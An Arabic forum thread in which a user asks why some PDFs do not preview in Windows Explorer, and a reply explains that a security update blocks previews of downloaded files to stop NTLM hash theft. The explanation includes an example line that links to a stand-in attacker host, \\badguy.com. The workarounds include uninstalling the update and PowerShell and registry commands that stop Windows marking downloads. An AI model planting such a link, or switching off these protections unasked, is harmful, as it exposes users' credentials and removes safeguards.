محروم من الحب

زيزوومى فعال
إنضم
29 أغسطس 2009
المشاركات
251
مستوى التفاعل
45
النقاط
340
الإقامة
مكاوي مجروح واداوي
غير متصل
المشكلة:
أواجه مشكلة غريبة تتعلق بمعاينة ملفات الـ PDF في مستكشف ملفات ويندوز (Windows Explorer). بعض ملفات الـ PDF تظهر معاينتها بشكل طبيعي في جزء المعاينة (Preview Pane)، بينما بعض الملفات الأخرى لا تظهر أي معاينة إطلاقًا، رغم أنها تُفتح بشكل طبيعي في برامج قراءة الـ PDF مثل Adobe Acrobat أو غيره.


تفاصيل إضافية:


  • نظام التشغيل: Windows 10).
  • تمت تجربة حلول عديدة منتشرة على الإنترنت، مثل إعادة تسجيل مكون الـ Preview Handler أو تغيير الإعدادات في Adobe Reader، ولكن المشكلة ما زالت مستمرة.
  • المشكلة لا ترتبط بحجم الملفات أو امتدادها، فهي تحدث عشوائيًا مع بعض ملفات PDF فقط.

الطلب:
أرغب في معرفة السبب الجذري للمشكلة، وهل هناك إعداد أو تحديث يمكنه إصلاح عرض المعاينة لجميع ملفات PDF بشكل موحد داخل مستكشف ويندوز.

التقا11111111111111111111ط.webp
الت555قاط.webp
التقئئئئئئئئئئئئاط.webp
 

وانا لدي مشكلة مشابهة للأخ " محروم من الحـــــــــــــب "
 
توقيع : Fonts Lover
جرب تغيير اسمه

ربما الملف يحتوي عل مايكرو بداخله او اوامر ما او روابط بداخله ربما تكون ملغمة وووووووو
 
المشكلة بسبب أحد تحديثات الويندوز الجديدة، والتي جعلت خاصية المعاينة (preview pane) تقوم بمعاملة الملفات المحمّلة من الإنترنت بشكل أكثر صرامة. حيث يقوم الويندوز بتعليم هذه الملفات بـ Mark of the Web (MotW) كوسم للدلالة على أن الملف مُحمل من الإنترنت وبالتالي حجب خاصية preview pan عن هذه الملفات...
لأن طريقة عمل المعاينة للملف (من الناحية البرمجية) قد يستغلها الهاكرز في أخذ بصمة باسورد الويندوز.
تخيل معي أنك نزلت ملف pdf مثلا من النت (الموضوع يسري على أنواع أخرى من الملفات أيضا)، وهذا الملف مُلغم. فهو وضع تعليمات مخفية في الملف، بحيث مثلا لو الملف فيه صورة من النت (يعني الصورة غير مدمجة في ملف ال pdf نفسه لكن بتحتاج تحملها عند فتح الملف)، فبدلا من تحميل الصورة، تقوم التعليمات بتحميل شيء آخر غير الصورة من على سيرفير الهاكرز ويطلب منك معلومات بصمة باسورد الويندوز لتحميل هذا الشيء، فيقوم ال preview pane بإرسال بصمة من الباسورد (اسمها NTLM hash) إلى سيرفير الهاكرز.
والآن الهاكرز معاه البصمة، صحيح لا يرى الباسورد نفسه، لكن بهذه البصمة يستطيع الهاكرز التظاهر بأنه أنت في شبكة الشركة التي أنت فيها والوصول إلى أجهزة أخرى.
لكن عند فتح الملف في برنامج pdf، فيقوم البرنامج بفتح الملف في بيئة منعزلة كغرفة مغلقة بحيث يمنع أي تصرفات خطرة مثل هذا.
( مع العلم هذا لا يعني أن برامج ال pdf مثالية)

صحيح أن الهجوم باستخدام هذه الثغرة موجه نحو الشركات (يعني هجوم متعمد على شركة معينة)، ولكن لا مانع من أن تستغل هذه الثغرة ويتم الهجوم على الأفراد العاديين من خلال نشر ملفات ملغمة على الانترنت بالأخص على التورنت.

ولهذا مع التحديث الجديد من الويندوز، يطلب منك الويندوز فتح الملف إذا كنت تثق به بدلا من المعاينة.

الشرح بالانجليزي:

?How​

:Think of it like this

Some files (like PDFs, Word docs, or HTML files) can contain hidden instructions, kind of like a web page that loads an image from the internet. But instead of loading an image, it tries to load something from a fake server controlled by the hacker, using a special network path like \\hacker-server\file


:When Windows sees this, it says
“Hmm, this file wants to connect to a network folder. I should prove who I am.”​
So, without asking you, it sends a digital fingerprint of your password (called an NTLM hash) to that hacker’s server

Now, the hacker has your fingerprint. They can’t see your actual password, but they can use that fingerprint to pretend to be you on the company network — like using a fake key to unlock doors

And all of this happens just by previewing the file

Real-Life Example​

.Let’s say you download a file called meeting-notes.pdf from a website
.It looks safe. You click it in File Explorer — boom, preview appears

But inside that PDF is a tiny, invisible trick
HTML:
<link href="\\badguy.com\steal-this">



:Your computer sees that and thinks
“Oh, this document needs a style from \\badguy.com. Let me connect and prove who I am.”​
So it sends your NTLM hash — and the hacker now has a way to break into your company’s systems, even if you never clicked “Open.”

?Why Doesn’t This Happen When I Open the File​



When you open the file, modern apps like Microsoft Edge, Word, or Adobe Reader run in a secure sandbox — like a locked room. They block dangerous actions, like connecting to random servers.

But the preview pane? It’s faster and simpler — and doesn’t have the same strong protections. So it was being abused.

?So What Did Microsoft Do​

:Instead of waiting to fix every tiny part of the system (which takes time), Microsoft said
“If previewing a file can steal your password… then let’s just stop previewing risky files.”​
:So now, if a file comes from the internet, Windows blocks the preview and says
“This file could harm your computer. Open it only if you trust it.”​
.That way, you’re in control. You decide when to take the risk — not just by clicking on a file

:Bottom Line​

  • ✅ Previewing used to be dangerous — like peeking through a window that lets thieves steal your keys.​
  • 🔒 Now, Windows blocks that peek for files from the internet.​
  • 🛡️ Opening the file is safer — because apps protect you better.​
  • ✅ Only open files you trust — especially from email, downloads, or unknown sources.​

مقالين عن هذه الثغرة لمن أراد الاستزادة في هذا الشأن:
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي


في 14 أكتوبر 2025 نزل تحديث
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
في ويندوز 10 والمسؤول عن تعطيل خاصية المعاينة للملفات المحملة.
وفي نفس التاريخ أيضا، نزل تحديث
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
في ويندوز 11
وأقتبس من الصفحتين السابقتين:
After installing this update, File Explorer automatically disables the preview feature for files downloaded from the internet. This change is designed to enhance security by preventing a vulnerability when users preview potentially unsafe files. For details, including steps to unblock files, see
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
.​

ما الحل؟​

إلغاء تثبيت تحديث الويندوز الذي تم ذكره بالأعلى، لكن تحتاج إلى وقف تحديثات الويندوز بشكل مؤقت:
Start menu >> Settings >> Update & Security or System >> Pause updates
ثم تذهب إلى حذف التحديثات:
Start menu >> Settings >> Update & Security or System >> View update history >> Uninstall updates
وتبحث عن التحديث المذكور وتقوم بحذفه.
ثم تقوم بمنع الويندوز من تنزيل هذا التحديث مجددا كما هو مذكور في option 1 هنا:
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

ثم تعمل ريستارت للجهاز وتستيطع إعادة تشغيل تحديثات الويندوز مجددا.
لكن ظني أنه لاحقا بعد فترة قد تكون قصيرة أو طويلة أن التحديث سينزل مجددا كجزء من تحديثات الويندوز التي يطلق عليها features updates .. هذا إفتراض من عندي.. والله أعلم.
هذا أفضل حل في وجهة نظري.

هل يوجد طريق آخر غير حذف التحديث؟

-- الحل الأول: إضافة المواقع التي تحمل منها الملفات إلى المواقع الموثوقة --
كما هو مذكور هنا
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

بتشغل Internet Options من قائمة start ثم الانتقال إلى Security tab وكتابة المواقع التي تريدها إلى القائمة المواقع الموثوقة في Local intranet أو Trusted sites بحيث الملفات التي يتم تحميلها من تلك المواقع يتم معاينتها بشكل عادي.
(غير منطقي وغير عملي، لأنك تحمل ملفات من مواقع عديدة، كما أنه على الأغلب سيُطبق على الملفات المحملة الجديدة فقط)

-- الحل الثاني: Unblock per file--
تضغط كليك يمين على الملف الذي تريد تستعرضه ثم تختار الخصائص (properties)، ثم ستجد بالأسفل في النافذة بند اسمه الحماية (Security) وبجانبه اختيار إلغاء الحجب (Unblock).. إضغط عليه لوضع علامة صح عليه ثم إضغط ok.
(غير منطقي وغير عملي، وتحتاج أن تفعل هذا لكل ملف تريد أن تستعرضه)

-- الحل الثالث: Unblock files باستخدام سكريبت PowerShell --
السطر التالي مثلا يقوم بعمل Unblock لكل ملفات ال pdf الموجودة في مسار ال downloads:
كود:
Unblock-File -Path "$HOME\Downloads\*.pdf"
بتّنفذه في ال powerSehll بعد فتحه من قائمة start (قد تحتاج فتحه كمسؤول من خلال الضغط على أيقونته كليك يمين ثم الفتح كمسؤول)
أو استخدام السطر التالي والذي يقوم بعمل unblock لكل أنواع الملفات في مسار ال downloads:
كود:
Get-ChildItem -Path "$HOME\Downloads" -Recurse | Unblock-File
والسطر التالي يقوم بعمل unblock لجميع أنواع الملفتا لعدة فولدرات في وقت واحد:
كود:
Get-ChildItem -Path "F:\DiskDigger", "F:\Temp", "F:\Downloads" -Recurse | Unblock-File
وهكذا..
(لكن هذا يقوم بعمل unblock للملفات التي لديك الآن، فعندما تقوم بتحميل ملفات جديدة في فولدر قمت بعمل unblock له مسبقا، فينبغي عليك عمل unblock مجددا للفولدر عشان الملفات الجديدة.
مع العلم يمكن أتمتمة (automate) هذه المهمة كل فترة باستخدام خاصية Task Scheduler الموجودة في الويندوز.)

-- الحل الرابع: عمل مفتاح ريجيستري Registry لكي يقفل خاصية الحماية --
تفتح ال PowerShell كـمسؤول وتنسخ فيه هذين الأمرين:
كود:
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" -Name "SaveZoneInformation" -PropertyType DWord -Value 1 -Force | Out-Null
هذا المفتاح يخبر الويندوز بعدم وضع تعليم الملفات المحملة بــ Mark of the Web (MotW) وتقدر تستخدم المعاينة عادي. لكن هذا الحل للملفات السمتقبلية، أما الملفات الحالية فيمكنك استخدام الحل الثالث مع هذا الحل وبكده تكون قادر تعاين الملفات القديمة والجديدة.

-- الحل الخامس: استخدام أداة Microsoft PowerToys لمعاينة الملفات بدلا من preview panel --
تستطيع تحميلها من هنا (وكذلك نبذة عنها)
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
وهي أداة عموما فيها مجموعة من الأدوات لزيادة الإنتاجية وتحسين استخدامك للويندوز واستخدام الاختصارات (shortcuts) لعديد من المهام، من ضمنها مهمة المعاينة.
الأداة تتيح ال preview تحت مسمى peek
طريقة استخدام ال peek هنا:
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

لكن تقريبا والله أعلم بتستعرض أول صفحة في ال pdf وممكن يكون في محدودية في ال scorlling .. كذلك النقطة الأهم هي أن ال peek لا تشتغل من تلقاء نفسها، بل تحتاج إلى الضغط ضغطة واحدة على الملف ثم تقوم بتنفيذ ال shortcut الذي قمت بتعيينه لخاصية ال peek .. يعني إذا قمت تعيين الاختصار (كما مذكور في الصفحة السابقة) إلى ctrl + space .. فستحتاج إلى الضغط على ctrl + space في كل مرة تريد استعراض ملف.
وخاصية الاستعراض الخاصة ب powertoys تختلف عن ال windows preview في أنها آمنة.
مع العلم أنه من سيستخدم powertoys ، فليعلم أن فيها خواص لها shortcuts مفعلة، فممكن لو أنت متعود تستخدم shortcut معين في حالة معينة ووجدت شيء آخر جديد يحدث عند استخدام ال shortcut .. فمن الممكن أنه حصل تداخل مع shortcut موجود في powertoys، فعندها ستفتح powertoys وتغير ال shortcut الذي يتداخل معك أو تقوم بعمل disable للخاصية بحيث لا يكون لها shortcut في powertoys

أخيرا، الذي أرشحه هو أن يتم فتح الملف في البرنامج المخصص له والاستغناء عن preview pane ... وإن لم يكن هذا مناسبا، فالذي أرشحه الحل الخامس في تقديري لمن أراد استخدام المعاينة.
أما في حالة المستخدمين المتقدمين، فأرشح حذف التحديث في تقديري.

تنبيه

أنا غير مسؤول عن تطبيق أي حل من تلك الحلول أو غيرها. أنا شرحت الأمر ووضعت الحلول والأمر لكم وعلى مسؤوليتكم.
 
التعديل الأخير:
توقيع : abdo_mohamed
المشكلة بسبب أحد تحديثات الويندوز الجديدة، والتي جعلت خاصية المعاينة (preview pane) تقوم بمعاملة الملفات المحمّلة من الإنترنت بشكل أكثر صرامة. حيث يقوم الويندوز بتعليم هذه الملفات بـ Mark of the Web (MotW) كوسم للدلالة على أن الملف مُحمل من الإنترنت وبالتالي حجب خاصية preview pan عن هذه الملفات...
لأن طريقة عمل المعاينة للملف (من الناحية البرمجية) قد يستغلها الهاكرز في أخذ بصمة باسورد الويندوز.
تخيل معي أنك نزلت ملف pdf مثلا من النت (الموضوع يسري على أنواع أخرى من الملفات أيضا)، وهذا الملف مُلغم. فهو وضع تعليمات مخفية في الملف، بحيث مثلا لو الملف فيه صورة من النت (يعني الصورة غير مدمجة في ملف ال pdf نفسه لكن بتحتاج تحملها عند فتح الملف)، فبدلا من تحميل الصورة، تقوم التعليمات بتحميل شيء آخر غير الصورة من على سيرفير الهاكرز ويطلب منك معلومات بصمة باسورد الويندوز لتحميل هذا الشيء، فيقوم ال preview pane بإرسال بصمة من الباسورد (اسمها NTLM hash) إلى سيرفير الهاكرز.
والآن الهاكرز معاه البصمة، صحيح لا يرى الباسورد نفسه، لكن بهذه البصمة يستطيع الهاكرز التظاهر بأنه أنت في شبكة الشركة التي أنت فيها والوصول إلى أجهزة أخرى.
لكن عند فتح الملف في برنامج pdf، فيقوم البرنامج بفتح الملف في بيئة منعزلة كغرفة مغلقة بحيث يمنع أي تصرفات خطرة مثل هذا.
( مع العلم هذا لا يعني أن برامج ال pdf مثالية)

صحيح أن الهجوم باستخدام هذه الثغرة موجه نحو الشركات (يعني هجوم متعمد على شركة معينة)، ولكن لا مانع من أن تستغل هذه الثغرة ويتم الهجوم على الأفراد العاديين من خلال نشر ملفات ملغمة على الانترنت بالأخص على التورنت.

ولهذا مع التحديث الجديد من الويندوز، يطلب منك الويندوز فتح الملف إذا كنت تثق به بدلا من المعاينة.

الشرح بالانجليزي:


مقالين عن هذه الثغرة لمن أراد الاستزادة في هذا الشأن:
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي


في 14 أكتوبر 2025 نزل تحديث
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
في ويندوز 10 والمسؤول عن تعطيل خاصية المعاينة للملفات المحملة.
وفي نفس التاريخ أيضا، نزل تحديث
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
في ويندوز 11
وأقتبس من الصفحتين السابقتين:


ما الحل؟​

إلغاء تثبيت تحديث الويندوز الذي تم ذكره بالأعلى، لكن تحتاج إلى وقف تحديثات الويندوز بشكل مؤقت:
Start menu >> Settings >> Update & Security or System >> Pause updates
ثم تذهب إلى حذف التحديثات:
Start menu >> Settings >> Update & Security or System >> View update history >> Uninstall updates
وتبحث عن التحديث المذكور وتقوم بحذفه.
ثم تقوم بمنع الويندوز من تنزيل هذا التحديث مجددا كما هو مذكور في option 1 هنا:
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

ثم تعمل ريستارت للجهاز وتستيطع إعادة تشغيل تحديثات الويندوز مجددا.
لكن ظني أنه لاحقا بعد فترة قد تكون قصيرة أو طويلة أن التحديث سينزل مجددا كجزء من تحديثات الويندوز التي يطلق عليها features updates .. هذا إفتراض من عندي.. والله أعلم.
هذا أفضل حل في وجهة نظري.

هل يوجد طريق آخر غير حذف التحديث؟

-- الحل الأول: إضافة المواقع التي تحمل منها الملفات إلى المواقع الموثوقة --
كما هو مذكور هنا
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

بتشغل Internet Options من قائمة start ثم الانتقال إلى Security tab وكتابة المواقع التي تريدها إلى القائمة المواقع الموثوقة في Local intranet أو Trusted sites بحيث الملفات التي يتم تحميلها من تلك المواقع يتم معاينتها بشكل عادي.
(غير منطقي وغير عملي، لأنك تحمل ملفات من مواقع عديدة، كما أنه على الأغلب سيُطبق على الملفات المحملة الجديدة فقط)

-- الحل الثاني: Unblock per file--
تضغط كليك يمين على الملف الذي تريد تستعرضه ثم تختار الخصائص (properties)، ثم ستجد بالأسفل في النافذة بند اسمه الحماية (Security) وبجانبه اختيار إلغاء الحجب (Unblock).. إضغط عليه لوضع علامة صح عليه ثم إضغط ok.
(غير منطقي وغير عملي، وتحتاج أن تفعل هذا لكل ملف تريد أن تستعرضه)

-- الحل الثالث: Unblock files باستخدام سكريبت PowerShell --
السطر التالي مثلا يقوم بعمل Unblock لكل ملفات ال pdf الموجودة في مسار ال downloads:
كود:
Unblock-File -Path "$HOME\Downloads\*.pdf"
بتّنفذه في ال powerSehll بعد فتحه من قائمة start (قد تحتاج فتحه كمسؤول من خلال الضغط على أيقونته كليك يمين ثم الفتح كمسؤول)
أو استخدام السطر التالي والذي يقوم بعمل unblock لكل أنواع الملفات في مسار ال downloads:
كود:
Get-ChildItem -Path "$HOME\Downloads" -Recurse | Unblock-File
والسطر التالي يقوم بعمل unblock لجميع أنواع الملفتا لعدة فولدرات في وقت واحد:
كود:
Get-ChildItem -Path "F:\DiskDigger", "F:\Temp", "F:\Downloads" -Recurse | Unblock-File
وهكذا..
(لكن هذا يقوم بعمل unblock للملفات التي لديك الآن، فعندما تقوم بتحميل ملفات جديدة في فولدر قمت بعمل unblock له مسبقا، فينبغي عليك عمل unblock مجددا للفولدر عشان الملفات الجديدة.
مع العلم يمكن أتمتمة (automate) هذه المهمة كل فترة باستخدام خاصية Task Scheduler الموجودة في الويندوز.)

-- الحل الرابع: عمل مفتاح ريجيستري Registry لكي يقفل خاصية الحماية --
تفتح ال PowerShell كـمسؤول وتنسخ فيه هذين الأمرين:
كود:
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments" -Name "SaveZoneInformation" -PropertyType DWord -Value 1 -Force | Out-Null
هذا المفتاح يخبر الويندوز بعدم وضع تعليم الملفات المحملة بــ Mark of the Web (MotW) وتقدر تستخدم المعاينة عادي. لكن هذا الحل للملفات السمتقبلية، أما الملفات الحالية فيمكنك استخدام الحل الثالث مع هذا الحل وبكده تكون قادر تعاين الملفات القديمة والجديدة.

-- الحل الخامس: استخدام أداة Microsoft PowerToys لمعاينة الملفات بدلا من preview panel --
تستطيع تحميلها من هنا (وكذلك نبذة عنها)
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
وهي أداة عموما فيها مجموعة من الأدوات لزيادة الإنتاجية وتحسين استخدامك للويندوز واستخدام الاختصارات (shortcuts) لعديد من المهام، من ضمنها مهمة المعاينة.
الأداة تتيح ال preview تحت مسمى peek
طريقة استخدام ال peek هنا:
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

لكن تقريبا والله أعلم بتستعرض أول صفحة في ال pdf وممكن يكون في محدودية في ال scorlling .. كذلك النقطة الأهم هي أن ال peek لا تشتغل من تلقاء نفسها، بل تحتاج إلى الضغط ضغطة واحدة على الملف ثم تقوم بتنفيذ ال shortcut الذي قمت بتعيينه لخاصية ال peek .. يعني إذا قمت تعيين الاختصار (كما مذكور في الصفحة السابقة) إلى ctrl + space .. فستحتاج إلى الضغط على ctrl + space في كل مرة تريد استعراض ملف.
وخاصية الاستعراض الخاصة ب powertoys تختلف عن ال windows preview في أنها آمنة.
مع العلم أنه من سيستخدم powertoys ، فليعلم أن فيها خواص لها shortcuts مفعلة، فممكن لو أنت متعود تستخدم shortcut معين في حالة معينة ووجدت شيء آخر جديد يحدث عند استخدام ال shortcut .. فمن الممكن أنه حصل تداخل مع shortcut موجود في powertoys، فعندها ستفتح powertoys وتغير ال shortcut الذي يتداخل معك أو تقوم بعمل disable للخاصية بحيث لا يكون لها shortcut في powertoys

أخيرا، الذي أرشحه هو أن يتم فتح الملف في البرنامج المخصص له والاستغناء عن preview pane ... وإن لم يكن هذا مناسبا، فالذي أرشحه الحل الخامس في تقديري لمن أراد استخدام المعاينة.
أما في حالة المستخدمين المتقدمين، فأرشح حذف التحديث في تقديري.

تنبيه

أنا غير مسؤول عن تطبيق أي حل من تلك الحلول أو غيرها. أنا شرحت الأمر ووضعت الحلول والأمر لكم وعلى مسؤوليتكم.
شكرا ياغالي يسعدك ربي ما قصرت الان اجرب الحلول وباذن الله تضبط معايه
 
عودة
أعلى